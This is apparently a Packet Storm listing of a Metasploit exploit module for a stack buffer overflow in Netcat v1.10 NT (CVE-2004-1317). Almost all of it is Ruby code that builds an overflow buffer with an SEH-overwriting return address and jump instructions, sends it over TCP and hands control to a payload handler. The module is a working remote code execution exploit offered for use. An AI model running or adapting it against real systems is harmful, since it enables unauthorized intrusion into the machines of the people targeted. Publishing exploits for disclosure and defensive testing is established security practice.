Netcat v1.10 NT Stack Overflow

2009-11-26T00:00:00
ID PACKETSTORM:83199
Type packetstorm
Reporter patrick
Modified 2009-11-26T00:00:00

Description

                                        
                                            `##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Netcat v1.10 NT Stack Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Netcat v1.10 NT. By sending  
an overly long string we are able to overwrite SEH. The vulnerability  
exists when netcat is used to bind (-e) an executable to a port in doexec.c.  
This module tested successfully using "c:\>nc -L -p 31337 -e ftp".  
},  
'Author' => 'patrick',  
'Arch' => [ ARCH_X86 ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1317' ],  
[ 'OSVDB', '12612' ],  
[ 'BID', '12106' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/726' ],  
],  
'Privileged' => false,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 236,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => ['win'],  
'Targets' =>  
[  
# Patrick - Tested OK 2007/09/26 w2ksp0, w2ksp4, xpsp2 en.  
[ 'Universal nc.exe', { 'Ret' => 0x0040a6ce } ], # p/p/r nc.exe  
],  
'DisclosureDate' => 'Dec 27 2004',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def exploit  
connect  
  
sploit = rand_text(277, payload_badchars)  
sploit[0, payload.encoded.length] = payload.encoded  
sploit[236, 2] = Rex::Arch::X86.jmp_short(6)  
sploit[240, 4] = [target['Ret']].pack('V')  
sploit[244, 5] = Rex::Arch::X86.jmp(0xffffff08)  
  
sock.put(sploit)  
  
handler  
disconnect  
end  
end  
`